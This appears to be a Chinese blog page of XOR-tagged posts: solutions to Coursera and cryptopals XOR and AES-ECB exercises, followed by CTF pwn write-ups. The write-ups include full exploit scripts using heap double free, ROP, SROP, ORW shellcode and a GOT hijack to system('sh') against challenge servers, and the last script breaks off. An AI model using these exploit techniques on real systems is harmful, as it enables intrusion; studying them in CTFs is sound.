包含关键字 XOR 的文章

题目一

地址:https://www.coursera.org/learn/crypto/assignment-submission/KZ9js/week-1-programming-assignment-optional/attempt

​ 题目使用同一个流密码密钥加密得到 10 个密文,加密方式是逐字节异或,目标是通过这 10 个密文得到密钥以解出第 11 个密文。

​ 已知消息 M、密钥 K,异或加密的过程是

$$ C=M\oplus K $$

得到密文 C。异或是自反的运算,所以解密与加密过程相同

$$ M=C\oplus K $$

​ 对于同一个密钥 K 加密的两个密文 C_1、C_2,如果将两者异或可以得到

$$ B=C_1\oplus C_2=M_1\oplus K\oplus M_2\oplus K=M_1\oplus M_2 $$

字节流B是两消息逐字节异或结果。

​ 我们首先导入这些密文和加密方法

msg_1 = bytes.fromhex('315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d3aff021dfff5b403b510d0d0455468aeb98622b137dae857553ccd8883a7bc37520e06e515d22c954eba5025b8cc57ee59418ce7dc6bc41556bdb36bbca3e8774301fbcaa3b83b220809560987815f65286764703de0f3d524400a19b159610b11ef3e')
msg_2 = bytes.fromhex('234c02ecbbfbafa3ed18510abd11fa724fcda2018a1a8342cf064bbde548b12b07df44ba7191d9606ef4081ffde5ad46a5069d9f7f543bedb9c861bf29c7e205132eda9382b0bc2c5c4b45f919cf3a9f1cb74151f6d551f4480c82b2cb24cc5b028aa76eb7b4ab24171ab3cdadb8356f')
msg_3 = bytes.fromhex('32510ba9a7b2bba9b8005d43a304b5714cc0bb0c8a34884dd91304b8ad40b62b07df44ba6e9d8a2368e51d04e0e7b207b70b9b8261112bacb6c866a232dfe257527dc29398f5f3251a0d47e503c66e935de81230b59b7afb5f41afa8d661cb')
msg_4 = bytes.fromhex('32510ba9aab2a8a4fd06414fb517b5605cc0aa0dc91a8908c2064ba8ad5ea06a029056f47a8ad3306ef5021eafe1ac01a81197847a5c68a1b78769a37bc8f4575432c198ccb4ef63590256e305cd3a9544ee4160ead45aef520489e7da7d835402bca670bda8eb775200b8dabbba246b130f040d8ec6447e2c767f3d30ed81ea2e4c1404e1315a1010e7229be6636aaa')
msg_5 = bytes.fromhex('3f561ba9adb4b6ebec54424ba317b564418fac0dd35f8c08d31a1fe9e24fe56808c213f17c81d9607cee021dafe1e001b21ade877a5e68bea88d61b93ac5ee0d562e8e9582f5ef375f0a4ae20ed86e935de81230b59b73fb4302cd95d770c65b40aaa065f2a5e33a5a0bb5dcaba43722130f042f8ec85b7c2070')
msg_6 = bytes.fromhex('32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd2061bbde24eb76a19d84aba34d8de287be84d07e7e9a30ee714979c7e1123a8bd9822a33ecaf512472e8e8f8db3f9635c1949e640c621854eba0d79eccf52ff111284b4cc61d11902aebc66f2b2e436434eacc0aba938220b084800c2ca4e693522643573b2c4ce35050b0cf774201f0fe52ac9f26d71b6cf61a711cc229f77ace7aa88a2f19983122b11be87a59c355d25f8e4')
msg_7 = bytes.fromhex('32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd90f1fa6ea5ba47b01c909ba7696cf606ef40c04afe1ac0aa8148dd066592ded9f8774b529c7ea125d298e8883f5e9305f4b44f915cb2bd05af51373fd9b4af511039fa2d96f83414aaaf261bda2e97b170fb5cce2a53e675c154c0d9681596934777e2275b381ce2e40582afe67650b13e72287ff2270abcf73bb028932836fbdecfecee0a3b894473c1bbeb6b4913a536ce4f9b13f1efff71ea313c8661dd9a4ce')
msg_8 = bytes.fromhex('315c4eeaa8b5f8bffd11155ea506b56041c6a00c8a08854dd21a4bbde54ce56801d943ba708b8a3574f40c00fff9e00fa1439fd0654327a3bfc860b92f89ee04132ecb9298f5fd2d5e4b45e40ecc3b9d59e9417df7c95bba410e9aa2ca24c5474da2f276baa3ac325918b2daada43d6712150441c2e04f6565517f317da9d3')
msg_9 = bytes.fromhex('271946f9bbb2aeadec111841a81abc300ecaa01bd8069d5cc91005e9fe4aad6e04d513e96d99de2569bc5e50eeeca709b50a8a987f4264edb6896fb537d0a716132ddc938fb0f836480e06ed0fcd6e9759f40462f9cf57f4564186a2c1778f1543efa270bda5e933421cbe88a4a52222190f471e9bd15f652b653b7071aec59a2705081ffe72651d08f822c9ed6d76e48b63ab15d0208573a7eef027')
msg_10 = bytes.fromhex('466d06ece998b7a2fb1d464fed2ced7641ddaa3cc31c9941cf110abbf409ed39598005b3399ccfafb61d0315fca0a314be138a9f32503bedac8067f03adbf3575c3b8edc9ba7f537530541ab0f9f3cd04ff50d66f1d559ba520e89a2cb2a83')

msg_target = bytes.fromhex('32510ba9babebbbefd001547a810e67149caee11d945cd7fc81a05e9f85aac650e9052ba6a8cd8257bf14d13e6f0a803b54fde9e77472dbff89d71b57bddef121336cb85ccb8f3315f4b52e301d16e9f52f904')

msgs = [msg_1, msg_2, msg_3, msg_4, msg_5, msg_6, msg_7, msg_8, msg_9, msg_10]

def bytesxor(a, b):
    if len(a) > len(b):
       return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)])
    else:
       return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])])

根据前文理论,我们先尝试异或 msg_1msg_2,结果是

b'\x12\x10L\x06\x13NW\t\x14\x0f\x10O\x02R\x1b\n\x04B\x02\x0cM\x07\x0b\x18OH\x15T\x1f\x08\x00HN\x1e\x02A\x06\x1d\x06MT\x0b\n\x02\x02\x10\x19E\x10\x16MO:\x00SC\x00NC\x0e\x1e\x1d\nRF\x12\x17\x1b\x01\x17\x00\x1b\x0eEC\x1c\x0c\x1d\x16\nR\r\x11tN\x19\x06\x1a\x11M\x0eU\x17O\x08NT7\x14\x05\x0b\x17CST\x1bH\x07\x0e\x00\x0eM'

我们不使用十六进制格式输出,是因为需要观察其中有一些大写或小写英文字母。根据题目,明文是 ASCII 英语句子,其中大部分符号都是大小写英文字母和空格。我们需要知道一个特殊的规律

$$ ASCII(大/小写字母)\oplus ASCII(空格)=ASCII(小/大写字母) $$

英文字母的 ASCII 值与空格的 ASCII 值异或得到的 ASCII 值相当于切换原字母的大小写

根据以上规律,我们十个中的一个密文 C,与其余九个密文逐字节异或,得到九个字节流 B_i,观察其中相同索引 j(位置)的字节 b_k,如果这九个字节几乎都是英文字母,那么我们选取的密文 C 的索引 j 处的字节 C[j] 的明文就大概是空格。此时我们有

$$ C[j]\oplus ASCII(空格)=K[j] $$

从而有可能还原出一个字节的密钥。如果密文足够多足够长,重复上述过程可以还原完整的密钥。

key = [0] * len(msg_7) # `msg_7` is the longest ciphertext.

def isalpha(b):
    return (ord('a') <= b <= ord('z')) or (ord('A') <= b <= ord('Z'))

for i, msg_i in enumerate(msgs):
    may_not_space = [0] * len(msg_i) # Count cases when b_k is not alphabetic.
    for j, msg_j in enumerate(msgs):
        if i != j:
            xored = bytesxor(msg_i, msg_j)
            for k, xb in enumerate(xored):
                if (not isalpha(xb)) and xb != 0:
                    may_not_space[k] += 1
    
    for j, may_not in enumerate(may_not_space):
        if may_not <= 2: # If almost all b_k are alphabetic
            key_byte = msg_i[j] ^ ord(' ')
            if key[j] == 0:
                key[j] = key_byte
                continue
            
            if key[j] != key_byte: # Detect contradiction. Do more checks.
                reliable = True
                for m in msgs:
                    if j >= len(m):
                        continue
                    byte = m[j] ^ key_byte
                    if not isalpha(byte) and byte != ord(' '):
                        reliable = False
                        break
                if reliable:
                    key[j] = key_byte

print(f'Recovered key: {key}')
print(f'Target message: {bytesxor(bytes(key), msg_target)}'')
# for msg in msgs:
#     print(bytesxor(msg, bytes(key)))

题目二

地址:https://www.cryptopals.com/sets/1

1. Convert hex to base64

from base64 import b64encode

print(b64encode(bytes.fromhex('49276d206b696c6c696e6720796f757220627261696e206c696b65206120706f69736f6e6f7573206d757368726f6f6d')).decode())

2. Fixed XOR

def bytesxor(a, b):
    if len(a) > len(b):
       return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)])
    else:
       return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])])

print(bytesxor(bytes.fromhex('1c0111001f010100061a024b53535009181c'), bytes.fromhex('686974207468652062756c6c277320657965')).hex())

3. Single-byte XOR cipher

突发奇想,这里我用《动物森友会》给信件评分的算法来判断哪个结果最正确。(还真没毛病

def get_score(message: str) -> int:
    """*Animal Crossing* message scoring algorithm."""
    t = set("abl abo abr abs acc ach acr act add adm adv aer aff afr aft aga age ago ahe air ali all alm alo alr als alt alw am  ame amo and ang ani ano ans any apa app apr are arg arm arr art asi ask asl ate atm att aud aug aut ave avo awa cak cal cam can cap car cas cat cau cen cer cha che chi cho chi chu cir cit cla cle cli clo coa cof coi col com con coo cop cor cos cou cov cow cre cri cro cry cup cur cus cut bab bac bad bag bal ban bas bat be  bea bec bed bee bef beg beh bel bes bet bey bic big bik bil bir bit bla ble blo blu boa bod bon boo bor bot bou box boy bra bre bri bro bui bur bus but buy by  eac ear eas eat edu eff egg eig eit ele els emp end ene eng enj eno ent equ err esp eur eve exa exc exe exp eye dad dai dam dan dar dat dau day dea dec dee def deg del dem den dep des det dev dic did die dif dig din dir dis div do  doc doe dog dol don doo dou dow doz dra dre dri dro dru dry due dur dus dut gai gam gar gas gat gav gen ger get gir giv gla go  god goi gon goo got gov gra gre gro gua gue gui gun fac fai fal fam far fas fat fea feb fed fee fel few fie fif fig fil fin fir fis fiv fix fla fle fli flo fly fol foo for fou fra fre fri fro fru ful fun fut i   ice ide if  ima imm imp in  inc ind inf ins int inv iro is  isl it  its hab had hai hal han hap har has hat hav he  hea hei hel her hi  hid hig hil him hir his hit hol hom hon hop hor hos hot hou how hum hun hur hus kee kep key kic kil kin kit kne kni kno kab kad kai kak kan kar kas kat kau kaw kay kaz kea ked kef keg ken kes ket kev kib kie kif kig kik kim kin kis kit kiv koc kon koo kos kot kou kov kow kun kyi kac kad kag kai kaj kak kan kap kar kat kay ke  kea ked kee kem ken kes ket kid kig kil kin kis kod kom kon koo kor kos kot kou kov kuc kum kus ky  kys kam kar kat kea kec kee kei kev kew kex kic kig kin ko  kob koi kon koo kor kos kot kov kow kum kbj k'c kct kf  kff kft kh  kil kka kld kn  knc kne knl kpe kpi kpp kr  kra krd kth kur kut kve kwn jan jap job joi jud jul jum jun jus qua que qui pac pag pai pap par pas pat pay pea pen peo per pho pic pie pin pip pla ple poc poi pol poo pop pos pot pou pow pra pre pri pro pub pul pup pur pus put sad saf sai sal sam san sat sav saw say sce sch sci sco sea sec see sel sen sep ser set sev sex sha she shi sho shu sic sid sig sil sim sin sis sit six siz ski sky sle sli slo sma sme smi smo sno so  soa soc sof soi sol som son soo sor sou spa spe spi spo spr squ sta ste sti sto str stu sty sub suc sud suf sug sum sun sup sur swa swe swi swu sys rac rad rai ran rap rat rea rec red ref reg rel rem rep req res ret ric rid rig rin ris riv roa roc rod rol roo ros rou row rul run rus una unc und uni unl unt up  upo us  use usu tab tak tal tas tau tax tea tee tel tem ten ter tes tha the thi tho thr thu tic tie til tim tir tit to  tod tog tol tom ton too top tor tot tou tow tra tre tri tro tru try tue tur tv  twe twi two tyi typ val var veg ver vie vil vis voi vol vot vai vak val van var vas vat vav vay ve  vea ved vee vei vel ven ver ves vet vha vhe vhi vho vhy vid vif vil vin vir vis vit viv vok vom von voo vor vou vri vro vma yar yea yel yen yes yet you zer".split())
    s = 0
    if message and message[-1] in '.?!':
        s += 20
    for i, c in enumerate(message):
        if c in '.?!':
            for j in range(i+1, min(i+4, len(message))):
                if message[j].isupper():
                    s += 10
                    break
                elif message[j].isalpha():
                    s -= 10
                    break
    s += sum(3 for w in message.split() if len(cw :=
             ''.join(c for c in w if c.isalpha()).lower()) >= 3 and cw[:3] in t)
    for c in message:
        if not c.isspace():
            s += 20 if c.isupper() else -10
            break
    for i in range(len(message)-2):
        if message[i].isalpha() and message[i] == message[i+1] == message[i+2]:
            s -= 50
            break
    sp, nsp = message.count(' '), len(message) - message.count(' ')
    s += -20 if nsp == 0 or (sp * 100 // nsp if nsp else 0) < 20 else 20
    if len(message) > 75:
        c = 0
        for ch in message:
            c = 0 if ch in '.?!' else c + 1
            if c == 75:
                s -= 150
                break
    s -= sum(20 for i in range(0, len(message), 32)
             if ' ' not in message[i:i+32] and len(message[i:i+32]) == 32)
    return s


cipher = bytes.fromhex(
    '1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736')
results = list()
for c in range(256):
    try:
        res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode()
        results.append((res, get_score(res)))
    except UnicodeDecodeError:
        pass

best = sorted(results, key=lambda x: x[1])[-1][0]
print(best)

# Cooking MC's like a pound of bacon

4. Detect single-character XOR

with open('4.txt', 'r') as file:
    ciphers = file.readlines()

for original_cipher in ciphers:
    results = list()
    cipher = bytes.fromhex(original_cipher)
    for c in range(256):
        try:
            res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode()
            results.append((res, get_score(res)))
        except UnicodeDecodeError:
            pass
    if len(results) == 0:
        continue

    best = sorted(results, key=lambda x: x[1])[-1]
    if best[1] > 40:
        print(f'{original_cipher.strip()} -> {best[0]}')

# 7b5a4215415d544115415d5015455447414c155c46155f4058455c5b523f -> Now that the party is jumping

5. Implement repeating-key XOR

def repeating_key_xor_to_hex(msg: bytes, key: bytes) -> str:
    result_chars = []
    keylen = len(key)
    for i, b in enumerate(msg):
        result_chars.append(b ^ key[i % keylen])
    return bytes(result_chars).hex()

print(repeating_key_xor_to_hex(b"Burning 'em, if you ain't quick and nimble", b'ICE'))
print(repeating_key_xor_to_hex(b'I go crazy when I hear a cymbal', b'ICE'))

6. Break repeating-key XOR

一开始没有还原正确,检查了一下发现是 # 扰乱了解密评分。考虑到英文句子里极少有 #,所以遇到就扣 5 分。

from base64 import b64decode


def get_score(message: str):
    score = 0
    for c in message:
        if c.islower():
            score += 3
        if c.isupper():
            score += 1
        if c == ' ':
            score += 1
        if c == '#':
            score -= 5
    return score


def get_key(cipher: bytes) -> int:
    results = list()
    for c in range(256):
        try:
            res = bytesxor((chr(c) * len(cipher)).encode(), cipher).decode()
            results.append((c, get_score(res)))
        except UnicodeDecodeError:
            pass
    return sorted(results, key=lambda x: x[1])[-1][0]


def repeating_key_xor(msg: bytes, key: bytes) -> bytes:
    result_chars = []
    keylen = len(key)
    for i, b in enumerate(msg):
        result_chars.append(b ^ key[i % keylen])
    return bytes(result_chars)


def normalized_average_hd(data: bytes, unit_len: int) -> float:
    chunks = [data[i:i + unit_len] for i in range(0, len(data), unit_len)]
    num_chunks = len(chunks)
    total_hd = 0
    count = 0
    for i in range(num_chunks):
        for j in range(i + 1, num_chunks):
            if len(chunks[i]) == unit_len and len(chunks[j]) == unit_len:
                total_hd += sum((byte1 ^ byte2).bit_count()
                                for byte1, byte2 in zip(chunks[i], chunks[j]))
                count += 1
    return total_hd / (count * unit_len)


with open('6.txt', 'r') as file:
    cipher = b64decode(file.read())

results = list()
for l in range(2, 41):
    norm_hd = normalized_average_hd(cipher, l)
    results.append((l, norm_hd))
keylens = sorted(results, key=lambda x: x[1])

for k in range(1):
    keylen = keylens[k][0]
    print(f"Guessed key length: {keylen}")

    key_bytes = []
    for i in range(keylen):
        block = bytes([cipher[j * keylen + i]
                      for j in range(len(cipher) // keylen)])
        key_bytes.append(get_key(block))

    key = bytes(key_bytes)
    # print(repeating_key_xor(cipher, key).decode())
    print(f'Key: {key}')

# Guessed key length: 29
# Key: b'Terminator X: Bring the noise'

7. AES in ECB mode

import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms

key = b"YELLOW SUBMARINE"
with open('7.txt', 'r') as f:
    encrypted_b64 = f.read()
encrypted_data = base64.b64decode(encrypted_b64)
cipher = Cipher(algorithms.AES(key)) # Default to ECB mode
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()

print(decrypted_data.decode())

8. Detect AES in ECB mode

print(max(open('8.txt').read().splitlines(), key=lambda x: len(c:=[x[i:i+32] for i in range(0, len(x), 32)]) - len(set(c))))

malloc

自定义堆内存管理器。

堆块结构:

| Offset | Field          | Description                        |
|---------|----------------|------------------------------------|
| +0      | in_use (1B)    | 1 = allocated, 0 = free            |
| +1..7   | padding        | for 8-byte alignment               |
| +8      | size (4B)      | total size of the chunk            |
| +12..15 | padding        | (align next pointer)               |
| +16     | next (8B)      | pointer to next free chunk         |
| +16     | user data start| returned to caller (malloc result) |

delete 时存在 UAF,且 double free 检测深度只有 13,而我们最多可以申请 16 个堆块。double free 后再多次 create 得到重叠堆块,修改 next 指针得到任意地址(目标地址 - 16)分配,从而任意地址读写。

泄露 libc、stack 基地址后任意分配到栈上写 ROP,返回至提前布置好的 shellcode。程序沙箱禁用 execve 等系统调用,考虑 orw。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='info')
binary = './pwn'
# io = process(binary)
io = connect('45.40.247.139', 18565)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

# 0x0f < size <= 0x70
def create(index: int, size: int):
    io.sendlineafter(b'=======================\n', b'1')
    io.sendlineafter(b'Index\n', itob(index))
    io.sendlineafter(b'size\n', itob(size))

def delete(index: int):
    io.sendlineafter(b'=======================\n', b'2')
    io.sendlineafter(b'Index\n', itob(index))

def edit(index: int, size: int, content: bytes):
    io.sendlineafter(b'=======================\n', b'3')
    io.sendlineafter(b'Index\n', itob(index))
    io.sendlineafter(b'size\n', itob(size))
    io.send(content)

def show(index: int):
    io.sendlineafter(b'=======================\n', b'4')
    io.sendlineafter(b'Index\n', itob(index))

def exitit():
    io.sendlineafter(b'=======================\n', b'5')

for i in range(15):
    create(i, 0x10)
for i in range(15):
    delete(i)
delete(0) # double free
show(14) # leak heap (elf)
e.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x53a0
print_leaked('elf_base', e.address)
create(0, 0x10)
edit(0, 8, p64(e.sym['stdout'] - 16)) # `next` -> stdout
for _ in range(16):
    create(1, 0x10)
show(1)
libc.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x21b780
print_leaked('libc_base', libc.address)

for i in range(15):
    create(i, 0x20)
for i in range(15):
    delete(i)
delete(0) # double free
create(0, 0x20)
edit(0, 8, p64(libc.sym['environ'] - 16)) # `next` -> environ
for _ in range(16):
    create(1, 0x20)
show(1)
stack_addr = u64(io.recvline(False).ljust(8, b'\x00'))
print_leaked('stack_addr', stack_addr)

for i in range(15):
    create(i, 0x70)
for i in range(15):
    delete(i)
delete(0) # double free
create(0, 0x70)
edit(0, 8, p64(stack_addr - 0x140 - 16)) # `next` -> stack retaddr
for _ in range(16):
    create(1, 0x70)
# gdb.attach(io, 'b *$rebase(0x18F2)')
edit(0, 0x70, asm(f"""
    mov rax, 0x67616c662f
    push rax

    mov rax, __NR_open
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rax, __NR_read
    mov rdi, 3
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, __NR_write
    mov rdi, 1
    mov rsi, rsp
    mov rdx, 0x50
    syscall
"""))
edit(1, 0x70, flat([
    libc.search(asm('pop rdi;ret')).__next__(),
    e.address + 0x5000,
    libc.search(asm('pop rsi;ret')).__next__(),
    0x1000,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
    7,
    0,
    libc.sym['mprotect'],
    e.address + 0x56c0
]))

io.interactive()

stack

看起来是堆溢出但其实会栈迁移到堆上,溢出改返回地址爆破 PIE 到 magic。

由于随机数种子来自已知时间,所以可以预测随机数,逆运算得到 PIE 基地址。

最后栈迁移到 bss 段,利用 SROP 和 syscall gadget 实现任意系统调用。程序 seccomp 沙箱禁用了 openexecve 等系统调用,考虑 openat 替代。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'])
binary = './Stack_Over_Flow'
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

while True:
    global io, elf_base
    io = connect('45.40.247.139', 30871)
    libc_lib = CDLL('/usr/lib/libc.so.6')
    libc_lib.srand(libc_lib.time(0))
    libc_lib.rand() % 5
    libc_lib.rand() % 5
    key = libc_lib.rand() % 5
    try:
        io.sendafter(b'luck!\n', cyclic(0x2000)[:cyclic(0x2000).index(b'qaacraac')] + b'\x5F\x13')
        
        if b'magic' not in io.recvuntil(b':'):
            io.close()
            continue
        e.address = (int(io.recvline(False)) // key) - 0x16b0
        break
    except Exception:
        io.close()
        continue

context.log_level = 'debug'

print_leaked('elf_base', e.address)

syscall = e.address + 0x000000000000134f
fake_stack = e.bss(0x800)

# stack mig
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = fake_stack
frame.rdx = 0x800
frame.rip = syscall
frame.rsp = fake_stack

# gdb.attach(io, 'b *$rebase(0x16A4)')
io.sendafter(b'luck!\n', flat([
    cyclic(0x100),
    0,
    syscall,
    0,
    syscall,
    bytes(frame)
]))
pause()
io.send(cyclic(0xf))

# mprotect
frame = SigreturnFrame()
frame.rax = 10
frame.rdi = fake_stack & ~0xfff
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = syscall
frame.rsp = fake_stack + 0x200

xor_rax_pop_rbp = e.address + 0x00000000000016a0

payload = flat([
    0,
    xor_rax_pop_rbp,
    0,
    syscall,
    0,
    syscall,
    bytes(frame)
])
payload = payload.ljust(0x200, b'\x00')
payload += flat([
    0,
    fake_stack + 0x300
])
payload = payload.ljust(0x300, b'\x00')
payload += asm("""
    push 0x50
    lea rax, [rsp - 0x60]
    push rax

    mov rax, 0x67616c662f
    push rax

    push __NR_openat ; pop rax
    xor rdi, rdi
    push rsp ; pop rsi
    xor rdx, rdx
    xor r10, r10
    syscall
    push rax

    push __NR_readv ; pop rax
    pop rdi
    popf
    push rsp ; pop rsi
    push 1 ; pop rdx
    syscall

    push __NR_writev ; pop rax
    push 1 ; pop rdi
    syscall
""")
pause()
io.send(payload)
pause()
io.send(cyclic(0xf))

io.interactive()

mvmps

参考软件系统安全赛 - vm

00000000 struct __attribute__((packed)) __attribute__((aligned(1))) VM // sizeof=0x49
00000000 {
00000000     char *vmcode;
00000008     int pc;
0000000C     int field_C;
00000010     __int64 regs[6];
00000040     int64_t sp;
00000048     BYTE field_48;
00000049 };

SUB SP 时栈指针下溢,PUSH 和 POP 操作变成 ELF 几乎任意地址读写。

不是 PIE,劫持 GOT 即可。读取 read@got 低 4 字节,减去偏移得到 system 地址,将其写回 read@got 低 4 字节,内存中写入 "sh",执行 read 并传入首个参数为 "sh" 地址。指令有四种格式。具体见下方 exp 注释。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vvmm'
# io = process(binary)
io = connect('45.40.247.139', 15101)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)
# gdb.attach(io, 'b *0x401CBF\nb *0x4015AA\nb *0x401CC6\nb *0x402742\nb *0x4025E7\nb *0x4014AF\nb *0x4015CE')

def INST(opcode: int, type: int, *args) -> bytes:
    header = p8(opcode << 2 | type)
    if type == 0:
        return header + p8((args[0] & 0xff0000) >> 16) + p8((args[0] & 0xff00) >> 8) + p8(args[0] & 0xff)
    if type == 1:
        return header + p8(args[0])
    if type == 2:
        return header + p8(args[0]) + p8(args[1])
    if type == 3:
        return header + p8(args[0]) + p32(args[1])
    raise ValueError("Invalid type.")

io.sendafter(b'Please input your opcodes:\n', b''.join([
    INST(0x24, 0, 0x418), # SUB SP (to read@got)
    INST(0x20, 1, 0), # read from elf (read@got)
    INST(0xb, 3, 0, 0xc3a60), # REG SUB (offset of read & system)
    INST(0x1f, 1, 0), # write to elf (system)
    INST(0x3, 3, 1, 0x6873), # LOAD IMM ("sh")
    INST(0x25, 0, 0x30), # ADD SP (arbitrary mem)
    INST(0x1f, 1, 1), # write to elf ("sh")
    INST(0x3, 3, 0, 0x4050fc), # LOAD IMM (arbitrary mem)
    INST(0x33, 0, 0), # SYSCALL (read@plt -> system with arg "sh")
]))

io.interactive()

glibc 2.39 菜单堆。逆向得出堆块结构体:

struct Member
{
    int64_t backup_size;
    char* backup;
    char name[0x20];
    char department[0x18];
    int32_t level;
    int32_t index;
    int64_t create_time;
    uint64_t checksum;
};

写出各功能交互模板:

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

def manage(index: int):
    """index < 0x10"""
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'index: ', itob(index))

def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes):
    """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500"""
    manage(index)
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'Department: ', department)
    io.sendlineafter(b'32: ', itob(backup_size))
    io.sendafter(b'data: ', backup)

def crew_edit(index: int, name: bytes, department: bytes):
    manage(index)
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'department: ', department)

def crew_promote(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'2')

def crew_demote(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'3')

def crew_delete(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'4')

def crew_randomize(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'5')

def crew_summary():
    io.sendlineafter(b'Choice: ', b'2')

def backup(index: int):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'Index: ', itob(index))

def backup_view(index: int):
    backup(index)
    io.sendlineafter(b'> ', b'1')

def backup_edit(index: int, data: bytes):
    backup(index)
    io.sendlineafter(b'> ', b'2')
    io.sendafter(b'content: ', data)

def backup_invert(index: int):
    backup(index)
    io.sendlineafter(b'> ', b'3')

def global_init(global_data: bytes):
    """sizeof(global_data) <= 0x200"""
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'1')
    io.sendafter(b'global data: ', global_data)

def global_view():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'2')

def global_free():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'3')

def global_xor():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'4')

global_Hash+Append 时可能 off_by_one 写入 ']':

global_init(bytes([(i * 0x25 + 1) % 256 for i in range(0, 0x200)]))
global_xor()

这个不是重点,重点在 backup data 在长度输入错误时程序继续运行且不会覆盖残留的 backup data chunk addr,可以有 UAF。于是可以通过让 unsorted bin chunk bkbackup 重合以泄露基址以及构造假堆块:

crew_add(0, b'a', b'b', 0x500, b'1') # libc leak
crew_add(1, b'a', b'b', 0x20, b'1') # padding
crew_delete(0) # leak libc
crew_add(0, b'a', b'b', 0) # padding
crew_add(2, b'2222', b'2222', 0) # unsorted -> backup
libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000
print_leaked('libc_base', libc.address)
crew_add(3, b'2222', b'2222', 0) # unsorted -> backup
heap_base = u64(backup_view(3).ljust(8, b'\x00')) - 0x8b0
print_leaked('heap_base', heap_base)

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

# io = process(binary)
io = connect('39.106.16.204', 46959)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

# gdb.attach(io, 'set exception-verbose on')

def _manage(index: int):
    """index < 0x10"""
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'index: ', itob(index))

def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes | None = None):
    """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500"""
    _manage(index)
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'Department: ', department)
    io.sendlineafter(b'32: ', itob(backup_size))
    if backup is not None:
        io.sendafter(b'data: ', backup)

def crew_edit(index: int, name: bytes, department: bytes):
    _manage(index)
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'department: ', department)

def crew_promote(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'2')

def crew_demote(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'3')

def crew_delete(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'4')

def crew_randomize(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'5')

def crew_summary():
    io.sendlineafter(b'Choice: ', b'2')

def _backup(index: int):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'Index: ', itob(index))

def backup_view(index: int) -> bytes:
    _backup(index)
    io.sendlineafter(b'> ', b'1')
    io.recvuntil(b'Backup @ ')
    io.recvuntil(b': ')
    return io.recvline(False)

def backup_edit(index: int, data: bytes):
    _backup(index)
    io.sendlineafter(b'> ', b'2')
    io.sendafter(b'content: ', data)

def backup_invert(index: int):
    _backup(index)
    io.sendlineafter(b'> ', b'3')

def global_init(global_data: bytes):
    """sizeof(global_data) <= 0x200"""
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'1')
    io.sendafter(b'data: ', global_data)

def global_view():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'2')

def global_free():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'3')

def global_xor():
    io.sendlineafter(b'Choice: ', b'4')
